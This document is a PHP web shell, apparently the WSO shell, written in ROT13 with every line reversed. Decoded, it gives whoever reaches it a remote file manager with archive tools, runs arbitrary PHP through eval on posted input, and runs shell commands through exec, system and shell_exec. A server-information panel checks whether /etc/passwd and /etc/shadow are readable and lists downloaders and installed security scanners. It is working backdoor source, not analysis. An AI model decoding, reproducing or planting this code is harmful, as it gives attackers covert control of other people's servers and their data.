;">abvgcb/<rgryrQ>'rgryrq'=rhyni abvgcb<>abvgcb/<ribZ>'ribz'=rhyni abvgcb<>abvgcb/<lcbP>'lcbp'=rhyni abvgcb<>'1c'=rzna gpryrf<	
>'".)'':]'grfenup'[GFBC_$?)]'grfenup'[GFBC_$(grffv( ."'=rhyni grfenup=rzna arqqvu=rclg ghcav<	
>'". )]'qjp'[FYNOBYT$(fenupynvprcfyzgu . "'=rhyni p=rzna arqqvu=rclg ghcav<	
>'anZfryvS'=rhyni n=rzna arqqvu=rclg ghcav<	
>7=ancfybp qg<>eg<" bupr	
}	
;1:0?y$ = y$		
;'>eg/<>qg/<'.)'':'>n/<Q>")'\qnbyajbq'\ ,'\'.)]'rzna'[s$(rqbparyeh.''\,yyha,'\fybbGfryvS'\(t"=xpvypab "#"=sreu n< >n/<R>")'\gvqr'\ ,'\'.)]'rzna'[s$(rqbparyeh.''\,yyha,'\fybbGfryvS'\(t"=xpvypab "#"=sreu n< '?)'ryvs'==]'rclg'[s$((.'>n/<G>")'\uphbg'\ ,'\'.)]'rzna'[s$(rqbparyeh.''\,yyha,'\fybbGfryvS'\(t"=xpvypab "#"=sreu n< >n/<E>")'\rznare'\ ,'\'.)]'rzna'[s$(rqbparyeh.''\,yyha,'\fybbGfryvS'\(t"=xpvypab "#"=sreu n<>qg<>qg/<'.			
]'fzerc'[s$.'>")'\qbzup'\,'\'.)]'rzna'[s$(rqbparyeh.''\,yyha,'\fybbGfryvS'\(t"=xpvypab #=sreu n<>qg<>qg/<'.]'chbet'[s$.'/'.]'erajb'[s$.'>qg<>qg/<'.]'lsvqbz'[s$.'>qg<>qg/<'.)]'rclg'[s$:)]'rmvf'[s$(rmvFjrvIbfj?)'ryvs'==]'rclg'[s$((.'>qg<>qg/<>n/<'.)'>o/<] ' . )]'rzna'[s$(fenupynvprcfyzgu . ' [>o<>' . )"'}]'xavy'[s${'=rygvg" : '' ? )]'xavy'[s$( lgczr( . ' ";)'\'.]'ugnc'[s$.''\,'\anZfryvS'\(t':)]'rzna'[s$(fenupynvprcfyzgu.'>")'\jrvi'\ ,'\'.)]'rzna'[s$(rqbparyeh.''\,yyha,'\fybbGfryvS'\(t'?)'ryvs'==]'rclg'[s$((.'"=xpvypab #=sreu n<>qg<>qg/<>koxup=ffnyp "'.)]'rzna'[s$(rqbparyeh.'"=rhyni "][s"=rzna kboxprup=rclg ghcav<>qg<>'.)'':'1y=ffnyp '?y$(.'eg<' bupr		
{ )s$ fn fryvs$(upnrebs	
;0 = y$	
;)fryvs$ ,fevq$(rterz_lneen = fryvs$	
;)"czPbfj" ,fevq$(gebfh	
;)"czPbfj" ,fryvs$(gebfh	
}	
;)1-:1?]1[]'gebf'[FYNOBYT$(*)1 : 1- ? )]'rmvf'[o$ < ]'rmvf'[n$(( aehgre			
rfyr		
;)1-:1?]1[]'gebf'[FYNOBYT$(*))]]0[]'gebf'[FYNOBYT$[o$(erjbybgegf ,)]]0[]'gebf'[FYNOBYT$[n$(erjbybgegf(czpegf aehgre			
)'rmvf' =! ]0[]'gebf'[FYNOBYT$(sv		
{ )o$ ,n$(czPbfj abvgpahs	
;gebf$ = ]'gebf'[FYNOBYT$	
	
}	
;))'evq' >= 'rclg'(lneen ,czg$(rterz_lneen = ][fevq$			
))]v$[gargabPevq$ . ]'qjp'[FYNOBYT$(evq_fv@(svrfyr		
;)))]'ugnc'[czg$(xavyqnre >= 'xavy' ,'xavy' >= 'rclg'(lneen ,czg$(rterz_lneen = ][fevq$			
))]v$[gargabPevq$ . ]'qjp'[FYNOBYT$(xavy_fv@(svrfyr		
;))'ryvs' >= 'rclg'(lneen ,czg$(rterz_lneen = ][fryvs$			
))]v$[gargabPevq$ . ]'qjp'[FYNOBYT$(ryvs_fv@(sv		
;)					
)]v$[gargabPevq$(chbetryvs@:]'rzna'[et$?]'rzna'[et$ >= 'chbet' 					
,)]v$[gargabPevq$(erajbryvs@:]'rzna'[jb$?]'rzna'[jb$ >= 'erajb' 					
,)]v$[gargabPevq$.]'qjp'[FYNOBYT$(rmvfryvs@ >= 'rmvf' 					
,)]v$[gargabPevq$ . ]'qjp'[FYNOBYT$(ebybPfzerCbfj >= 'fzerc' 					
,))]v$[gargabPevq$ . ]'qjp'[FYNOBYT$(rzvgzryvs@ ,'f:v:U q-z-L'(rgnq >= 'lsvqbz' 					
,]v$[gargabPevq$.]'qjp'[FYNOBYT$ >= 'ugnc' 					
,]v$[gargabPevq$ >= 'rzna'(lneen = czg$		
;))]v$[gargabPevq$(chbetryvs@(qvtetgrt_kvfbc@ = et$		
}		
;'' = jb$			
{rfyr}		
;))]v$[gargabPevq$(erajbryvs@(qvhjcgrt_kvfbc@ = jb$			
{))'qvhjcgrt_kvfbc'(fgfvkr_abvgpahs(sv		
{ )++v$;a$<v$;0=v$(ebs	
;)gargabPevq$(gahbp = a$	
;)(lneen = fryvs$ = fevq$	
;">eg/<>ug/<fabvgpN>ug<>ug/<>n/<fabvffvzerC>')"\".)1:0?]1[gebf$(."_fzerc_f"\,yyha,"\anZfryvS"\(t'=xpvypab '#'=sreu n<>ug<>ug/<chbeT/erajB>ug<>ug/<>n/<lsvqbZ>')"\".)1:0?]1[gebf$(."_lsvqbz_f"\,yyha,"\anZfryvS"\(t'=xpvypab '#'=sreu n<>ug<>ug/<>n/<rmvF>')"\".)1:0?]1[gebf$(."_rmvf_f"\,yyha,"\anZfryvS"\(t'=xpvypab '#'=sreu n<>ug<>ug/<>n/<rznA>')"\".)1:0?]1[gebf$(."_rzna_f"\,yyha,"\anZfryvS"\(t'=xpvypab '#'=sreu n<>ug<>ug/<>koxup=ffnyp ')(nf'=xpvypab kboxprup=rclg ghcav<>'kc31'=ugqvj ug<>eg<>gfbc=qbugrz fryvs=rzna zebs<
>'2'=tavqqncyyrp '0'=tavpncfyyrp 'avnz'=ffnyp '%001'=ugqvj ryong<
>gcvepf/<
}	
;qrxprup.]0[fgarzryr.fryvs.q = qrxprup.]v[fgarzryr.fryvs.q				
)'kboxprup' == rclg.]v[fgarzryr.fryvs.q(sv			
)++v;ugtary.fgarzryr.fryvs.q<v;0=v(ebs		
{ )(nf abvgpahs	
>gcvepf<" bupr
}	
;)]2[upgnz$)gav( ,]1[upgnz$(lneen = gebf$			
))upgnz$ ,]'1c'[GFBC_$ ,'!)}1{q\(_)+]m-N[(_f!'(upgnz_trec(sv		
{ ))]'1c'[GFBC_$(lgczr!(sv	
;)1 ,'rzna'(lneen = gebf$	
;gebf$ ynobyt	
} ;aehgre ;)(ergbbSbfj;'!erqybs fvug arcb g'\anP' bupr	{ )rfyns === gargabPevq$(sv	
;)]'qjp'[FYNOBYT$:]'p'[GFBC_$?)]'p'[GFBC_$(grffv(evqanpFbfj = gargabPevq$	
;'>gcvepf/<;""=_3c=_2c=_1c>gcvepf<>gargabp=ffnyp ivq<>1u/<ertnanz ryvS>1u<' bupr	
;)(erqnrUbfj    
}	
}		
;xnreo				
}				
;)]'p'[GFBC_$@ ,'p'(rvxbbpgrfBFJ					
;))]'s'[GFBC_$@(rmvynverf ,'s'(rvxbbpgrfBFJ					
;)]'1c'[GFBC_$ ,'gpn'(rvxbbpgrfBFJ					
{ ))]'1c'[GFBC_$(lgczr!(sv                
:gyhnsrq			
;xnreo				
;)0063 - )(rzvg ,'' ,'s'(rvxbbpgrf                
;)]'s'[RVXBBP_$(grfah				
}				
;)]'qjp'[FYNOBYT$(evqup                    
;))]'s'[RVXBBP_$ ,' '(rqbyczv . ' ' . )]'2c'[GFBC_$(tenyyrufrcnpfr . ' imsp eng'(kRbfj                    
;)]'s'[RVXBBP_$ ,'tenyyrufrcnpfr'(cnz_lneen = ]'s'[RVXBBP_$                    
;)]'p'[RVXBBP_$(evqup                    
{ )'eng' == ]'gpn'[RVXBBP_$(svrfyr }				
}                    
}                        
}                            
;)(rfbyp>-cvm$                                
;)]'qjp'[FYNOBYT$(bGgpnegkr>-cvm$                                
{ ))s$.]'p'[RVXBBP_$(arcb>-cvm$(sv                            
{ )s$ fn ]'s'[RVXBBP_$(upnrebs                        
;)(rivupeNcvM jra = cvm$                        
{ ))'rivupeNcvM'(fgfvkr_ffnyp(sv					
{ )'cvmah' == ]'gpn'[RVXBBP_$(svrfyr }				
}                    
}                        
;)(rfbyp>-cvm$                            
;)]'qjp'[FYNOBYT$(evqup                            
}                            
}                                
}                                    
;)lrx$ ,)lrx$(ugncynre(ryvSqqn>-cvm$                                        
{ )rhyni$>=lrx$ fn ebgnergv$( upnrebs                                    
;))FGBQ_CVXF::ebgnergVzrgflfryvS ,'/'.s$(ebgnergVlebgprevQrivfehprE jra(ebgnergVebgnergVrivfehprE jra = ebgnergv$                                    
{ ))s$.]'p'[RVXBBP_$(evq_fv@(svrfyr                                
;)s$ ,s$.]'p'[RVXBBP_$(ryvSqqn>-cvm$                                    
))s$.]'p'[RVXBBP_$(ryvs_fv@(sv                                
;rhavgabp                                    
)'..' == s$(sv                                
{ )s$ fn ]'s'[RVXBBP_$(upnrebs                            
;)]'p'[RVXBBP_$(evqup                            
{ ))1 ,]'2c'[GFBC_$(arcb>-cvm$( sv                        
;)(rivupeNcvM jra = cvm$                        
{ ))'rivupeNcvM'(fgfvkr_ffnyp(sv					
{ )'cvm' == ]'gpn'[RVXBBP_$(svrfyr }				
;)s$.]'qjp'[FYNOBYT$ ,s$.]'p'[RVXBBP_$(rznare@						
)s$ fn ]'s'[RVXBBP_$(upnrebs					
}					
;)f$.q$ ,f$.p$(lcbp@							
))f$.p$(ryvs_fv@(svrfyr }						
;)'/'.f$.q$ ,s$,'/'.f$.p$(rgfnc_lcbp									
))".." =! s$( qan )"." =! s$(( sv								
)rfyns ==! ))u$(evqqnre@ = s$(( ryvuj							
;)f$.p$(evqarcb@ = u$							
;)f$.q$(evqxz							
{))f$.p$(evq_fv(sv						
{)q$,f$,p$(rgfnc_ribz abvgpahs					
{ )'ribz' == ]'gpn'[RVXBBP_$(svrfyr }				
;)]'qjp'[FYNOBYT$ ,s$,]'p'[RVXBBP_$(rgfnc_lcbp						
)s$ fn ]'s'[RVXBBP_$(upnrebs					
}					
;)f$.q$ ,f$.p$(lcbp@							
))f$.p$(ryvs_fv(svrfyr }						
;)'/'.f$.q$ ,s$,'/'.f$.p$(rgfnc_lcbp									
))".." =! s$( qan )"." =! s$(( sv								
)rfyns ==! ))u$(evqqnre@ = s$(( ryvuj							
;)f$.p$(evqarcb@ = u$							
;)f$.q$(evqxz							
{))f$.p$(evq_fv(sv						
{)q$,f$,p$(rgfnc_lcbp abvgpahs					
{ )'lcbp' == ]'gpn'[RVXBBP_$(sv				
:'rgfnc' rfnp			
;xnreo				
}					
;)s$(xavyah@							
rfyr						
;)s$(evQrgryrq							
))s$(evq_fv(sv						
;)s$(rqbprqyeh = s$						
;rhavgabp                            
)'..' == s$(sv                        
{ )s$ fn ]'s'[GFBC_$(upnrebs					
))]'s'[GFBC_$@(lneen_fv(sv				
}				
;)ugnc$(evqze@					
;)uq$(evqrfbyp					
}					
;)zrgv$(xavyah@							
rfyr						
;)zrgv$(evQrgryrq							
)"evq" == rclg$( sv						
;)zrgv$(rclgryvs = rclg$						
;rhavgabp							
) )"." == )zrgv$(rznarfno( || )".." == )zrgv$(rznarfno( ( sv						
;zrgv$.ugnc$ = zrgv$						
{ )rfyns ==! ) )uq$(evqqnre = zrgv$( ( ryvuj					
;)ugnc$(evqarcb =  uq$					
;'/'.ugnc$:ugnc$ ? )'/'==)1-,ugnc$(egfohf( = ugnc$					
{ )ugnc$(evQrgryrq abvgpahs				
:'rgryrq' rfnp			
;xnreo				
;"evq jra rgnrep g'anP" bupr					
))]'2c'[GFBC_$(evqxz@!(sv				
:'evqxz' rfnp			
;xnreo				
;"!ryvs qnbych g'anP" bupr					
))]'rzna'[]'s'[FRYVS_$ ,]'rzna_czg'[]'s'[FRYVS_$(ryvs_qrqnbych_ribz@!(sv				
:'ryvSqnbych' rfnp			
{ )]'1c'[GFBC_$(upgvjf		
{ ))]'1c'[GFBC_$(lgczr!(sv	
    
;)]'s'[RVXBBP_$(rmvynverfah@ = ]'s'[RVXBBP_$        
))]'s'[RVXBBP_$( lgczr!( sv    
{ )(anZfryvSabvgpn abvgpahs

}
;)(ergbbSbfj	
;'>ivq/<>rec/<' bupr	
}	
;))(anryp_grt_ob(fenupynvprcfyzgu bupr		
;)]'1c'[GFBC_$(ynir		
;)(gengf_ob		
{ ))]'1c'[GFBC_$(lgczr!(sv	
;'>1yz=ffnyp ";kc5:cbg-avtenz'.)'':';raba:lnycfvq'?)]'1c'[GFBC_$(lgczr(.'"=rylgf ghcghBcuC=qv rec<>zebs/<KNWN tavfh qarf >'.)'':'qrxprup'?]'knwn'.)]'GFBU_CGGU'[ERIERF_$(5qz[RVXBBP_$(.' 1=rhyni knwn=rzna kboxprup=rclg ghcav< ' bupr	
;'>"kc5:cbg-avtenz"=rylgf yniR=rhyni gvzohf=rclg ghcav<>nrengkrg/<'.)'':)]'1c'[GFBC_$(fenupynvprcfyzgu?)]'1c'[GFBC_$(lgczr!(.'>rqbPcuC=qv nrentvo=ffnyp rqbp=rzna nrengkrg<>";rfyns aehgre};)'\'\,rhyni.rqbp.fvug,yyha,'\cuC'\(t{rfyr};)rhyni.rqbp.fvug,yyha,'\cuC'\(n{)qrxprup.knwn.fvug(sv"=gvzohfab gfbc=qbugrz sc=rzna zebs<>gargabp=ffnyp ivq<>1u/<rqbp-CUC abvghprkR>1u<' bupr    
}	
;'>eo<>ivq/<'. )czg$ ,'2u<','1u<'(rpnycre_egf bupr		
;)czg$ ,)        
''            
,'}1${ ug u. ,u. ,i. ,r.'            
,''            
( lneen ,)        
,'Hvfz!>+]>^[tzv<!'            
,'Hvfz!})*.({ ug ,qg!'            
,'Hvfz!}*.{ )2u ,1u ,ug ,qg ,lqbo|+j\:n|lqbo(!'            
( lneen(rpnycre_trec = czg$        
;)(anryp_grt_ob = czg$		
;)(bsavcuc		
;)(gengf_ob		
;'>rylgf/<};000#:ebybp{ c.>rylgf<>gargabp=ffnyp ivq<>1u/<bsav CUC>1u<' bupr		
{ ))'bsav' == ]'2c'[GFBC_$( && )]'2c'[GFBC_$(grffv(sv	
;)(erqnrUbfj	

;)0 ,'knwn' . )]'GFBU_CGGU'[ERIERF_$(5qz(rvxbbpgrfBFJ        
))]'1c'[GFBC_$(lgczr! && )]'knwn'[GFBC_$(lgczr(sv    
}	
;gvkr		
;czrg$ ,"a\" ,)czrg$(aryegf bupr		
;"a\;'" . )"0\'\\g\e\a\" ,))(anryp_grt_ob(fenupynvprcfyzgu(frufnyfpqqn . "'=YZGUeraav.)'ghcghBcuC'(qVlOgarzryRgrt.garzhpbq;''=lnycfvq.rylgf.)'ghcghBcuC'(qVlOgarzryRgrt.garzhpbq" = czrg$		
;)]'1c'[GFBC_$(ynir		
;)(gengf_ob		
;)rheg ,'knwn' . )]'GFBU_CGGU'[ERIERF_$(5qz(rvxbbpgrfBFJ        
{ ))]'knwn'[GFBC_$(grffv(sv	
{ )(cuCabvgpn abvgpahs

}
;)(ergbbSbfj	
;'>ivq/<' bupr	
}	
;))'erfh gra'(kRbfj,'fgahbppN erfH'(znenCprFbfj		
;))'fgahbppn gra'(kRbfj,'ftavggrF gahbppN'(znenCprFbfj		
;))'eri'(kRbfj,'abvferI FB'(znenCprFbfj		
{ rfyr }	
}            
}                
;)czrg$ ,'ferfH'(znenCprFbfj                    
;'>/eo<' bupr                    
}                    
;"a\".)qvh$,':'(avbw =. czrg$                            
)qvh$( sv                        
;)]'2c'[GFBC_$(qvhjcgrt_kvfbc@ = qvh$                        
{ )++]'2c'[GFBC_$;]'3c'[GFBC_$ =< ]'2c'[GFBC_$;(ebs                    
;"" = czrg$                    
{ ))]'3c'[GFBC_$(pverzha_fv && )]'2c'[GFBC_$(pverzha_fv && )]'3c'[GFBC_$ ,]'2c'[GFBC_$( grffv( sv                
;'>zebs/<>">>"=rhyni gvzohf=rclg ghcav<>ryong/<>eg/<>qg/<>0001=rhyni 2znenc=rzna gkrg=rclg ghcav<>qg<>qg/<bG>qg<>eg<>eg/<>qg/<>0=rhyni 1znenc=rzna gkrg=rclg ghcav<>qg<>qg/<zbeS>qg<>eg<>'\;rfyns aehgre;)rhyni.2znenc.fvug,rhyni.1znenc.fvug,"5",yyha,yyha(t'\=gvzohfab zebs<>ryong<>ancf/<)qjffnc/pgr/ "qnrE"( qvhjcgrt_kvfbc>ancf<>/eo<' bupr                
;))'fgfbu/pgr/'(fgargabp_grt_ryvs@ ,'fgfbU'(znenCprFbfj                
;))'u- sq'(kRbfj ,'rpncf QQU'(znenCprFbfj                
;'>/eo<' bupr                
;))czrg$,' ,'(rqbyczv ,'ferqnbyajbQ'(znenCprFbfj                
;zrgv$ = ][czrg$                        
))zrgv$(upvuJbfj(sv                    
)zrgv$ fn ferqnbyajbq$( upnrebs                
;)(lneen=czrg$                
;))czrg$,' ,'(rqbyczv ,'ertanQ'(znenCprFbfj                
;zrgv$ = ][czrg$                        
))zrgv$(upvuJbfj(sv                    
)zrgv$ fn ertanq$( upnrebs                
;)(lneen=czrg$                
;))czrg$,' ,'(rqbyczv ,'yhserfH'(znenCprFbfj                
;zrgv$ = ][czrg$                        
))zrgv$(upvuJbfj(sv                    
)zrgv$ fn yhserfh$( upnrebs                
;)(lneen=czrg$                
;'>eo<' bupr                
;)'ebeevz-cjy','grt','yehp','fxavy','kaly','upgrs','grtj'(lneen = ferqnbyajbq$                
;)'nwava','anpfzebj','yyvzjnf','cnpfozm','xfnzflf','upgnjtby','xpruptby','qvkf','tqbycpg','zqnfqvy','prffb','gebaf','legarfgebc','ppqyrvuf','revjcveg','jscv','fryongcv','gvxgbbexup','ergahuxe','qznyp','qorjeq','inf','anpfih','qrebpqo','23qba','inx'(lneen = ertanq$                
;)'yercqvhf','rgnpby','pa','2cvmo','cvmo','cvmt','eng','lohe','abuglc','yerc','cuc','rxnz','qy','pp','ppy','ppt'(lneen = yhserfh$                
{ )]'rqbz_rsnf'[FYNOBYT$!(sv            
;))'gra.rhffv/pgr/'(fgargabp_grt_ryvs@ ,'rzna egfvQ'(znenCprFbfj            
;))'abvferi/pbec/'(fgargabp_grt_ryvs@ ,'abvferi FB'(znenCprFbfj            
;)'ba':">n/<]jrvi[>')"\jbqnuf"\ ,"\/pgr/"\ ,"\fybbGfryvS"\(t'=xpvypab '#'=sreu n< frl"?)'jbqnuf/pgr/'(ryonqnre_fv@ ,'jbqnuf/pgr/ ryonqnrE'(znenCprFbfj            
;)'ba':">n/<]jrvi[>')"\qjffnc"\ ,"\/pgr/"\ ,"\fybbGfryvS"\(t'=xpvypab '#'=sreu n< frl"?)'qjffnc/pgr/'(ryonqnre_fv@ ,'qjffnc/pgr/ ryonqnrE'(znenCprFbfj            
{ )'kva' == ]'fb'[FYNOBYT$(sv	

;'>eo<' bupr	
;))czrg$ ,' ,'(rqbyczv ,'frfnongnq qrgebcchF'(znenCprFbfj	
;"rypneB" = ][czrg$		
))'gpraabp_vpb'(fgfvkr_abvgpahs(sv	
;"YDFretgfbC" = ][czrg$		
))'gpraabp_tc'(fgfvkr_abvgpahs(sv	
;"YDFFZ" = ][czrg$		
))'gpraabp_ydffz'(fgfvkr_abvgpahs(sv	
;")".)(bsav_garvyp_grt_ydflz."( ydFlZ" = ][czrg$		
))'bsav_garvyp_grt_ydflz'(fgfvkr_abvgpahs(sv	
;)(lneen=czrg$	
;)'ba':'qryonar'?)'abvferi_yehp'(fgfvkr_abvgpahs ,'gebcchf YEHp'(znenCprFbfj	
;))'evq_rqhypav_rqbz_rsnf'(grt_vav@ ,'evq rqhypav rqbz rsnF'(znenCprFbfj	
;))'evq_prkr_rqbz_rsnf'(grt_vav@ ,'evq prkr rqbz rsnF'(znenCprFbfj	
;))'evqrfno_arcb'(grt_vav@ ,'evq rfno arcB'(znenCprFbfj	
;)'raba':]'fabvgpahs_ryonfvq'[FYNOBYT$?]'fabvgpahs_ryonfvq'[FYNOBYT$ ,'fabvgpahS CUC qryonfvQ'(znenCprFbfj	
;)))(fryhqbz_grt_rupncn ,' ,'(rqbyczv ,'fryhqbz rupncN qrqnbY'(znenCprFbfj        
))'fryhqbz_grt_rupncn'(fgfvkr_abvgpahs(sv    
;))'RENJGSBF_ERIERF'(iargrt@ ,'renjgsbf erierF'(znenCprFbfj	

}	
}		
;'>rec/<' . i$ . '>1yz=ffnyp rec<' bupr				
rfyr			
;'>eo<' . i$ bupr				
)rfyns === )"a\" ,i$(fbcegf(sv			
;'>ancf/< :' . a$ . '>ancf<' bupr			
{ )i$(sv		
;)i$(zveg = i$		
{ )i$ ,a$(znenCprFbfj abvgpahs	
;'>gargabp=ffnyp ivq<>1u/<abvgnzebsav lgvehprf erierF>1u<' bupr	
;)(erqnrUbfj	
{ )(bsaVprFabvgpn abvgpahs

}
;rfyns aehgre	
;ugnc$ aehgre		
))ugnc$(lgczr!(sv	
;)c$ . ' upvuj'(kRbfj = ugnc$	
{ )c$(upvuJbfj abvgpahs

}
}    
;fryvs$ aehgre        
;rznaryvs$ = ][fryvs$            
)))uq$(evqqnre = rznaryvs$( ==! rfyns( ryvuj        
;)evq$(evqarcb =  uq$        
{ rfyr }    
;)evq$(evqanpf aehgre        
{ ))"evqanpf"(fgfvkr_abvgpahs(sv    
{ )evq$(evqanpFbfj abvgpahs

}
;'>gabs/<' . ))s$(fzercryvs@(fzerCbfj . '>00ss52#=ebybp gabs<' aehgre		
rfyr	
;'>gabs/<' . ))s$(fzercryvs@(fzerCbfj . '>rgvuj=ebybp gabs<' aehgre		
))s$(ryongvej_fv@!( svrfyr	
;'>gabs/<' . ))s$(fzercryvs@(fzerCbfj . '>0000SS#=ebybp gabs<' aehgre		
))s$(ryonqnre_fv@!( sv	
{ )s$(ebybPfzerCbfj abvgpahs

}
;v$ aehgre	
;))'-' : 'G' ? )0020k0 & c$(( : ) 'k' : 'g' ? )0020k0 & c$(( ? )1000k0 & c$(( =. v$	
;)'-' : 'j' ? )2000k0 & c$(( =. v$	
;)'-' : 'e' ? )4000k0 & c$(( =. v$	
;))'-' : 'F' ? )0040k0 & c$(( : ) 'k' : 'f' ? )0040k0 & c$(( ? )8000k0 & c$(( =. v$	
;)'-' : 'j' ? )0100k0 & c$(( =. v$	
;)'-' : 'e' ? )0200k0 & c$(( =. v$	
;))'-' : 'F' ? )0080k0 & c$(( : ) 'k' : 'f' ? )0080k0 & c$(( ? )0400k0 & c$(( =. v$	
;)'-' : 'j' ? )0800k0 & c$(( =. v$	
;)'-' : 'e' ? )0010k0 & c$(( =. v$	
;'h' = v$ rfyr	
;'c' = v$)0001k0 == )0001k0 & c$(( svrfyr	
;'p' = v$)0002k0 == )0002k0 & c$(( svrfyr	
;'q' = v$)0004k0 == )0004k0 & c$(( svrfyr	
;'o' = v$)0006k0 == )0006k0 & c$(( svrfyr	
;'-' = v$)0008k0 == )0008k0 & c$(( svrfyr	
;'y' = v$)000Nk0 == )000Nk0 & c$(( svrfyr	
;'f' = v$)000Pk0 == )000Pk0 & c$(( sv	
{ )c$(fzerCbfj abvgpahs

}
;'O ' . f$ aehgre		
rfyr	
;'OX ' . ) 4201 / f$ ,'s2.1%'(sgavecf aehgre		
)4201 => f$(svrfyr	
;'OZ ' . ) 6758401 / f$ ,'s2.1%'(sgavecf aehgre		
)6758401 => f$(svrfyr	
;'OT ' .) 4281473701 / f$ ,'s2.1%'(sgavecf aehgre		
)4281473701 => f$(sv	
    
;)f$ ,"h%"(sgavecf = f$        
))f$(gav_fv( sv    
{ )f$(rmvFjrvIbfj abvgpahs

}
;ghb$ aehgre	
}	
;)s$(rfbypc		
;)4201,s$(qnres =. ghb$			
))s$(sbrs@!(ryvuj		
;"" = ghb$		
{ )))"e",av$(arcbc@ = s$(rpehbfre_fv( svrfyr }	
;)av$(prkr_yyruf = ghb$		
{ ))'prkr_yyruf'(fgfvkr_abvgpahs( svrfyr }	
;)(anryp_grt_ob = ghb$		
;)av$(zrgflf@		
;)(gengf_ob		
{ ))'zrgflf'(fgfvkr_abvgpahs( svrfyr }	
;)(anryp_grt_ob = ghb$		
;)av$(heugffnc@		
;)(gengf_ob		
{ ))'heugffnc'(fgfvkr_abvgpahs( svrfyr }	
;)ghb$,"a\"(avbw@ = ghb$		
;)ghb$,av$(prkr@		
{ ))'prkr'(fgfvkr_abvgpahs( sv	
;'' = ghb$	
{ )av$(kRbfj abvgpahs

} };rfyns aehgre{ )c$(qvtetgrt_kvfbc abvgpahs    
{ ))rfyns===)'qvtetgrt_kvfbc' ,]'fabvgpahs_ryonfvq'[FYNOBYT$(fbcegf( && )"qvtetgrt_kvfbc"(fgfvkr_abvgpahs!( sv
} };rfyns aehgre{ )c$(qvhjcgrt_kvfbc abvgpahs    
{ ))rfyns===)'qvhjcgrt_kvfbc' ,]'fabvgpahs_ryonfvq'[FYNOBYT$(fbcegf( && )"qvhjcgrt_kvfbc"(fgfvkr_abvgpahs!( sv

}
;">yzgu/<>lqbo/<>ivq/<>ryong/<>eg/<	
>qg/<>  eo<>zebs/<>'>>'=rhyni gvzohf=rclg ghcav<>s=rzna ryvs=rclg 'caVfybbg'=ffnyp ghcav<>eo<ryongvej_fv$>ancf/<:ryvs qnbycH>ancf<		
>'" . )'':]'grfenup'[GFBC_$?)]'grfenup'[GFBC_$(grffv( . "'=rhyni grfenup=rzna arqqvu=rclg ghcav<		
>'ryvSqnbych'=rhyni 1c=rzna arqqvu=rclg ghcav<		
>'". ]'qjp'[FYNOBYT$ . "'=rhyni p=rzna arqqvu=rclg ghcav<		
>'aNZfryvS'=rhyni n=rzna arqqvu=rclg ghcav<		
>'ngnq-zebs/gencvgyhz'=RCLGPAR 'gfbc'=qbugrz zebs<>qg<		
>qg/<>zebs/<>'>>'=rhyni gvzohf=rclg ghcav<>''=rhyni p=rzna gkrg=rclg 'caVfybbg'=ffnyp ghcav<>eo<>ancf/<:rghprkR>ancf<>"\;rfyns aehgre;)rhyni.p.fvug,yyha,'rybfabP'(t"\=gvzohfab zebs<>qg<		
>eg<>eg/<	
>qg/<>zebs/<>'>>'=rhyni gvzohf=rclg ghcav<>s=rzna gkrg=rclg 'caVfybbg'=ffnyp ghcav<>eo<ryongvej_fv$>ancf/<:ryvs rxnZ>ancf<>"\;rfyns aehgre;)'ryvsxz',rhyni.s.fvug,yyha,'fybbGfryvS'(t"\=gvzohfab zebs<>qg<		
>qg/<>zebs/<>'>>'=rhyni gvzohf=rclg ghcav<>q=rzna gkrg=rclg 'caVfybbg'=ffnyp ghcav<>eo<ryongvej_fv$>ancf/<:evq rxnZ>ancf<>"\;rfyns aehgre;)rhyni.q.fvug,'evqxz',yyha,'anZfryvS'(t"\=gvzohfab zebs<>qg<		
>eg<>eg/<	
>qg/<>zebs/<>'>>'=rhyni gvzohf=rclg ghcav<>s=rzna gkrg=rclg 'caVfybbg'=ffnyp ghcav<>eo<>ancf/<:ryvs qnrE>ancf<>"\;rfyns aehgre;)rhyni.s.fvug,yyha,'fybbGfryvS'(t"\=gvzohfab zebs<>qg<		
>qg/<>zebs/<>'>>'=rhyni gvzohf=rclg ghcav<>'". )]'qjp'[FYNOBYT$(fenupynvprcfyzgu . "'=rhyni p=rzna gkrg=rclg 'caVfybbg'=ffnyp ghcav<>eo<>ancf/<:evq rtanuP>ancf<>';rfyns aehgre;)"\"\,rhyni.p.fvug,yyha(t'=gvzohfab zebs<>qg<		
>eg<	
>';333# qvybf kc2:zbggbo-erqebo;333# qvybf kc2:cbg-erqebo'=rylgf  %001=ugqvj 0=tavpncfyyrp 3=tavqqncyyrp yoGfybbg=qv bsav=ffnyp ryong<
>ivq/<
" bupr    
;">gabs/<)ryongvej gbA(>qre=ebybp gabs< ":">gabs/<)ryonrgveJ(>'arret'=ebybp gabs< "?)]'qjp'[FYNOBYT$(ryongvej_fv = ryongvej_fv$	
{ )(ergbbSbfj abvgpahs

}
;'>"5:avtenz"=rylgf ivq<>ryong/<>eg/<' . harz$ . '>eg<>%001=ugqvj 0=tavpncfyyrp 3=tavqqncyyrp ";333# qvybf kc2:cbg-erqebo"=rylgf ryong<' .       
'>ryong/<>eg/<>qg/<>eoba/<' . ]'EQQN_RGBZRE'[ERIERF_$ . '>eo<>ancf/<:CV garvyP>ancf<>eo<' . ]"EQQN_ERIERF"[ERIERF_$@ . '>eo<>ancf/<:CV erierF>ancf<>eo<>gpryrf/<>chbetgcb/<' . fgrfenup_gcb$ . '>"grfenup rtnC"=yrony chbetgcb<>")rhyni.fvug,yyha,yyha,yyha,yyha,yyha(t"=rtanupab gpryrf<>eoba<>gutve=atvyn 1=ugqvj qg<' .       
'>qg/<' . friveq$ . '>eo<>n/<] rzbu [>")'\'\,'\'\,'\'\,'\' . ]'qjp_rzbu'[FYNOBYT$ . ''\,'\anZfryvS'\(t"=xpvypab #=sreu n< ' . )]'qjp'[FYNOBYT$(ebybPfzerCbfj .' ' . fxavy_qjp$ . '>eo<)%' . )001*rpncFyngbg$/rpncFrres$( )gav( .'( ' . )rpncFrres$(rmvFjrvIbfj . ' >ancf/<:rreS>ancf< ' . )rpncFyngbg$(rmvFjrvIbfj . '>eo<' . )'f:v:U q-z-L'(rgnq . ' >ancf/<:rzvgrgnQ>ancf< >n/<] bsavcuc [>")'\bsav'\,'\'\,yyha,'\cuC'\(t"=xpvypab #=sreu n< ' .       
